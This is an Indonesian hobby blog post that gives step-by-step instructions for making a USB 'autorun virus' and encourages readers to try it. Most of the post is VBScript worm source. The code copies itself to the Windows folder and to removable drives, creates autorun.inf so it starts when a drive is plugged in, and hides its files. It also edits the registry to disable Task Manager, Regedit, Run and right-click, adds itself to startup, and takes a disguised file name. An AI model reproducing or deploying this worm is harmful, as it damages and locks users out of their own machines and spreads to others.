assalamualaikum teman - teman computer 97 sudah lam ya sepertinya sudah hampir 1 bulan saya tidak update bloger sy lagi dikarnakan banyak tugas - tugas kelompok dari sekolah he..he..he..
dalam posting yang 1 ini saya akan memberi tau cara membuat virus komputer seder hana yaitu virus autorun pasti teman - teman sekalian sudah banyak yang mengenal virus yang 1 ini kan kalau teman - teman sekalian ingin bisa membuat virus yang 1 ini langsung saja ikuti langkah - langkah di bawah ini :
1. pertama - tama buka aplikasi notepad terlebih dahulu
2. lalu kopas kode virus di bawah ini :
dim
rekur,windowpath,flashdrive,fs,mf,isi,tf,YouDieCbrXplr,nt,check,sd
‘//-Set sebuah teks yang nantinya akan
dibuat untuk Autorun Setup Information-//
isi = “[autorun]” & vbcrlf &
“shellexecute=wscript.exe YouDieXplr.dll.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//-Copy diri untuk menjadi file induk di
Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath &
“\batch- YouDieXplr.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath &
“\batch- YouDieXplr.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath &
“\batch- YouDieXplr.dll.vbs “)
tf.attributes = 39
‘//-Buat Atorun.inf untuk menjalankan virus
otomatis setiap flash disc tercolok-//
‘Menyebar ke setiap drive yang bertype 1 dan
2(removable) termasuk disket
for each flashdrive in fs.drives
‘//-Cek Drive-//
If (flashdrive.drivetype = 1 or
flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//-Buat Infector jika ternyata Drivetypr 1
atau 2. Atau A:\-//
set tf=fs.getfile(flashdrive.path
&”\YouDieXplr.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path
&”\YouDieXplr.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path
&”\YouDieXplr.dll.vbs “)
tf.attributes = 39
‘//-Buat Atorun.inf yang teks-nya tadi
sudah disiapkan (Auto Setup Information)-//
set tf =fs.getfile(flashdrive.path
&”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path
&”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path
&”\autorun.inf”)
tf.attributes=39
end if
next
‘//-Manipulasi Registry-//
set YouDieCbrXplr =
createobject(“WScript.Shell”)
‘//-Manip – Ubah Title Internet Explorer
menjadi THE YOUDIECBRXPLR v.s. ZAY-//
YouDieCbrXplr.regwrite
“HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”
THE YOUDIECBRXPLR v.s. ZAY “
‘//-Manip – Set agar file hidden tidak
ditampilkan di Explorer-//
YouDieCbrXplr.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“0″, “REG_DWORD”
‘//-Manip – Hilangkan menu Find, Folder
Options, Run, dan memblokir Regedit dan Task Manager-//
YouDieCbrXplr.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,
“1″, “REG_DWORD”
YouDieCbrXplr.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1″, “REG_DWORD”
YouDieCbrXplr.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,
“1″, “REG_DWORD”
YouDieCbrXplr.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1″, “REG_DWORD”
YouDieCbrXplr.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1″, “REG_DWORD”
‘//-Manip – Disable klik kanan-//
YouDieCbrXplr.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”,
“1″, “REG_DWORD”
‘//-Manip – Munculkan Pesan Setiap Windows
Startup-//
YouDieCbrXplr.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
“Worm YouDieCbrXplr. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//-Manip – Aktif setiap Windows Startup-//
YouDieCbrXplr.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”,
windowpath & “\batch- YouDieXplr.dll.vbs “
//-Manip – Ubah RegisteredOwner dan
Organization-//
YouDieCbrXplr.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”,
“The Batrix”
YouDieCbrXplr.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOwner”,”YouDieCbrXplr”
‘//-Nah kalau kode dibawah ini saya nggak
tau, tolong Mas Aat_S untuk menjelaskan-//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(“Wscript.shell”)
sd.run windowpath & “\explorer.exe
/e,/select, ” & Wscript.ScriptFullname
3. kalau sudah Save code di Notepad dengan cara FILE >
SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama :
YouDieXplr.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha
agar tidak mencurigakan aja.
He..he…Virus
"SELAMAT MENCOBA"
Postingan
